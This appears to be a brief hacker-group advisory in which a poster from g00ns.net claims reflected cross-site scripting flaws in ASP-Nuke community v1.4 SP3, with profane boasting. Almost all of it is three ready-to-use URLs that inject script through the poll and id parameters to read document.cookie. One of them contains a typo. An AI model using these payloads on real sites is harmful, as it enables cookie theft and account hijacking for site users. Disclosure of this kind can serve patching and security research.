I MurderSkillz from g00ns.net have found xss vulnerabilities in ASP-Nuke community v1.4 SP3 (and possibly other versions).
Shouts go to all the g00ns. Once again..g00ns.net fucking owns j00!

Found in

XSS
/aspnuke/default.asp?poll='><script>alert(document.cookie);</script>&results=1
----------
/aspnuke/signup.asp?poll='><script>alert(docunemt.cookie);</script>&results=1
----------
/aspnuke/news.asp?id='><script>alert(document.cookie);</script>